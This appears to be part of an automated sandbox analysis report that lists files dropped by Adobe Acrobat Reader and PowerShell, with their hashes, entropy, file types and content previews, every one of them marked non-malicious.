Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.332304714112429
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfzdPeUkwRe9:YvXKX+W2WsdTeOe2ZGb8Ukee9
MD5:	A1920C96C5910A84D91E7DFBBE5B2F72
SHA1:	89DD26FE7DF4318A3AC5D2532C2A7E11121E579F
SHA-256:	2D66F2F0BD221A2768AB618F55B3A165191C820EECDA54EC1751DD25DDA885A8
SHA-512:	00DC54085E331190357A07E7B57035A744BF58B1890FDAAA235150D9C2D9E8AF3E544D4AAEA2815BEBFFFB5B91EE92CAEBB590E9544A0ECD8E66780F38FEEB1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312611107060269
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfYdPeUkwRe9:YvXKX+W2WsdTeOe2ZGg8Ukee9
MD5:	EEC458EFC1DC5C8DA099B252679D026F
SHA1:	AA0EF146518CA70B12649A00770CE6BAA62D7595
SHA-256:	F43ACA3EC32D2683D3586BBEFFD77ECA7920681C94EEAC81C498778B7BBCC90B
SHA-512:	9D6000EDD9E691082FA72CF44B3D95D564106BB6906617F291B0CC73763DCEF972E33BB16827EE397685584379864264EE2AE66CBD37DE8DA6B16D380D1C4734
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.299464860036353
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJf+dPeUkwRe9:YvXKX+W2WsdTeOe2ZG28Ukee9
MD5:	69A211C28F72EB618EAC3F7EC9C71F65
SHA1:	85DA9A7043CB3FC90FA03FD6843F8AF70C5C3031
SHA-256:	28BF6A5D7A0B2C266502BF48D1A99C930313D7C45DB57A21AC64BB277F0DE6ED
SHA-512:	A57B2F46D96323258FB5ECB42DF96B8D83823575539634B3A21A72AEDFDB45CC820D5E9BC38138D1EEF0B969F03ECFEBCE5096B634493A98ED4A22BC2B6082AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.296071530458803
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfbPtdPeUkwRe9:YvXKX+W2WsdTeOe2ZGDV8Ukee9
MD5:	9B8B5C19307A146AAECDB1D98758B447
SHA1:	D8E7E78CDECB0E11C6AAA0000BFAC232523A7014
SHA-256:	BE9648ECD952A01182DF560CEDAC32A6177F4A3EC6FD58D44B7A06EA60378A11
SHA-512:	143527BE8F136C5C1564D6B0EF1EEF83D6795663C6A4283500489BAE9896B6F7E446CFB3DB35BB4C39706443D93050927473A2C1FDCAA9B77164197AA6A67B45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.300247789559159
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJf21rPeUkwRe9:YvXKX+W2WsdTeOe2ZG+16Ukee9
MD5:	1419CB32A5A71F31EAE3EEAD07E72560
SHA1:	3749CAD30BE623F0007D3FE81588455F1C68C8DB
SHA-256:	2E324137DF94CCB3CBF1F9FB8351CE08263DC58CA29241833FB17ABD4E35973B
SHA-512:	E896D3B0172F62E5F516086FAF47E4BC588D481C932BC303607ED9592A301206E5C03F80A2EA4B078B75C4394C4E41F126B9694F7DBFBE9E738943F3A57DB641
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669199601466783
Encrypted:	false
SSDEEP:	24:Yv6XzmeOe2iamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSx:YvDev28BgkDMUJUAh8cvMx
MD5:	23E10032D6152A7307348FD55D549C44
SHA1:	E1EDF5ABE613DA7B9C8B8F46B225724BF6D7838E
SHA-256:	74E18F1E4A99F7F7013B7410C1CEBC774122AFBC8D9CDCE4706B9AC28DAA2242
SHA-512:	166A3874A274A68383DDDEF7C822775F1A78CDA6499436C0F6D2B07ED598C2F652BDFE15BFF5E41516C5DFA4B7D31236011133E2A6D7CD9E2E2F0646894090E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.276863675819211
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfshHHrPeUkwRe9:YvXKX+W2WsdTeOe2ZGUUUkee9
MD5:	420591C27DA8603A78DCBAEAE0A6B656
SHA1:	EBB640964C8875CA3F3A67BDADC4377CB89AAD4A
SHA-256:	418A7BC615717FFD61255CE03C79CD633627347451E2C9DBB49704F156A813B7
SHA-512:	7D909BE3965E34BA736AF4CB235F4A7477B5B0C1C1C202F31B319E9F3A508E63FF61DB8009CDA82B8E1F334B2B87998743C1858E28CB1D71264D993824E2CC62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.295127235238279
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJTqgFCrPeUkwRe9:YvXKX+W2WsdTeOe2ZGTq16Ukee9
MD5:	F103AC3E227537EF60EFC7A31706CF4A
SHA1:	81DF9F3DE2ABD28AE8A7BDE335B363D2FB1BB3F2
SHA-256:	70D6984CA93CD93EE7594CC897FC476826FE47546E44156D7A5DE1FFF2C0E2F9
SHA-512:	C229CE56853AD84C7F65E977B95E9FD564E939BE9E4A566DE4FD38DBC612E87819638F9011B8D4943D3AA90626AD566A00515A477101DAD2DFDD65BF7D9F0452
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142705685364222
Encrypted:	false
SSDEEP:	24:YLWaVayvVHEA6ac4TsBWr2ejuQj0STFr2r2LS9Cl3HTv6I085QBh9RGfuMOG:YNVEAs4EgF9q3KHTiIHKh98H
MD5:	FD2FC33C47D27EF38E0C4791D6BCF629
SHA1:	A0815355FF25181FBCE109BF14C7E1ECA146EFEE
SHA-256:	76F12CDD5F03CBE00BEA3574C09D3813A37177D3A8D69A0E91F97622E1387016
SHA-512:	7A322F317FA2FA632B29AAA7CD06E9BDFF9DEE6FFD80692A4CB8760F949031A83648D3450FDDEE4C60D110507D453EFAA251057EF17245E9B0F6CF6044AE62F6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"687e4d2730f7ca372e5619d3a4f52559","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736578611000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3fe0c54d3630a4cc97466b952914d7e9","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736578611000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"75213ec3cd334f0057425e8ffe231097","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736578611000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a4b65059fc81fa89c40da94fd8ffff87","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736578611000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a34e08c4a5932df9bf5ecaf64334cfe7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736578611000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"14d1ca3a5a6a2973598aa4f96f0f1f7f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4520474343652592
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds5lz:lNVmsw3SHtbDbPe0K3+fDZdA
MD5:	C9BEF217FBCC393A5AC17F9C1B22204D
SHA1:	6F1D1E3CCD5C2C56B2AC31DAECB482738B6A49ED
SHA-256:	336E6433E7081E96D034822E63DC4764DC5611B25E28E90F7B6AE173974F938C
SHA-512:	6B97430AF363EA7053ED5A20D5EEEC26F5EB8940F18C5A5A4A86FF0412655E7669D2A1A59E2C807438D201BF24031DDDBA2366DE5582DD44617EA26A13F2C8EA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.95559812563191
Encrypted:	false
SSDEEP:	48:7MnrvrBd6dHtbGIbPe0K3+fDy2dsMHqFl2GL7msT:7u3SHtbDbPe0K3+fDZdpKVmsT
MD5:	3F7ECC85F40C9F59A4BFB47D1C5A2DB2
SHA1:	E682614B310E96BB41838D05BFCEA930EE475376
SHA-256:	0A473758B48CC78544F3006F6559199F416AC544D612E4310892EA56D01E94AC
SHA-512:	878A3145CB6565F53572924F6A6B1838F4783FFB1716216D09AA47C1CFF310A0A0B57D76B9D431AE3291EE5C6227991CE14038C8540D7D320EE7FAFA9234F5F0
Malicious:	false
Preview:	.... .c......k4.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglFZW0prAvXxUkzF8iumfWXuvsYyu:6a6TZ44ADElFZWYrixHS8sK
MD5:	D9ACAFC0FEA8259CF2E2DBA06471F91D
SHA1:	B011169095C508EFFAAEE326D2FD10FEF9C68FE5
SHA-256:	48EA0E32C935D9C8309D94AA437CEB293C76CB6129E225157DB315325510E371
SHA-512:	50A45609FAF54402E586B84E9F818291B2D932714860128E33250A6B1529822D17666C5D40073668CD13A1AE52E6D14E11109927432590635709D26BCD67E28B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI6756c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl29:Qw946cPbiOxDlbYnuRKdf9
MD5:	A5885055D8083E70E3301446FC2D91E8
SHA1:	0847F20694152F0E7D095F2AED5438512EEE5B15
SHA-256:	ED1D055092DEEEB8196E528CFBFBF9B36316C0E2F2EEF0CEE686EE0A94E34B28
SHA-512:	64C9D4A5A0C476F38465FCAF20848795EC4668C98A5B74F53805B094FA418D67905425407D752B34235845D4F59064B45A6D663D182C2FA1475BFF68FF21B2A9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.2.4.:.5.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5koikknj.3gl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_slc4nbbq.nvf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-24-46-006.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.329304880447256
Encrypted:	false
SSDEEP:	384:mnLg5gOghgXg4gfjgQg5grg4gqgPKW0KzKs4G/6/o/cupuFuquPuL1pwpMp6oIoR:ucC
MD5:	316BDD1E37E6A82B8D63D63E0F72E2AC
SHA1:	D01C1BD9048A230A799068F7A9C6F9E51A241B2A
SHA-256:	AC316A5E14BF01F7A67CCD24D7A717A3DC3D4B5DDDB35D4943A334F3E2101AC6
SHA-512:	44869A30D3EC8F71B0C6032AE337AF2F7D911D1F653B81B8EE6FBE389AD332D491499F93F620364157B3A2EF7D362698B05602EF676A1B994A091DA5B3038392
Malicious:	false
Preview:	SessionID=0e7170a9-53d6-44c9-8ec5-cf1440175a2c.1736573086025 Timestamp=2025-01-11T00:24:46:025-0500 ThreadID=3540 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0e7170a9-53d6-44c9-8ec5-cf1440175a2c.1736573086025 Timestamp=2025-01-11T00:24:46:026-0500 ThreadID=3540 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0e7170a9-53d6-44c9-8ec5-cf1440175a2c.1736573086025 Timestamp=2025-01-11T00:24:46:026-0500 ThreadID=3540 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0e7170a9-53d6-44c9-8ec5-cf1440175a2c.1736573086025 Timestamp=2025-01-11T00:24:46:026-0500 ThreadID=3540 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0e7170a9-53d6-44c9-8ec5-cf1440175a2c.1736573086025 Timestamp=2025-01-11T00:24:46:026-0500 ThreadID=3540 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.4116109509610695
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR3ftE:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR8
MD5:	EE11858AD50E5BA63EAA57AAC81D7BD4
SHA1:	6543DE5ED3DCC4EC1024BBBBEA3121784D1F5436
SHA-256:	4A600085F63680C9646B5792537155C0A5EDEEB7C2F155A239089F74271F0144
SHA-512:	4BD2FCDD73D032D3CA3CB367BD84DBCB32298C7577F827FD53AB3690948DA7EA04B5E5DAB958080A7A98D5CF2065530C7F99187835636D6E0FAB17EBDD19F7BC
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6774f43c-b116-4e01-ada3-e0f83c61ee31.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
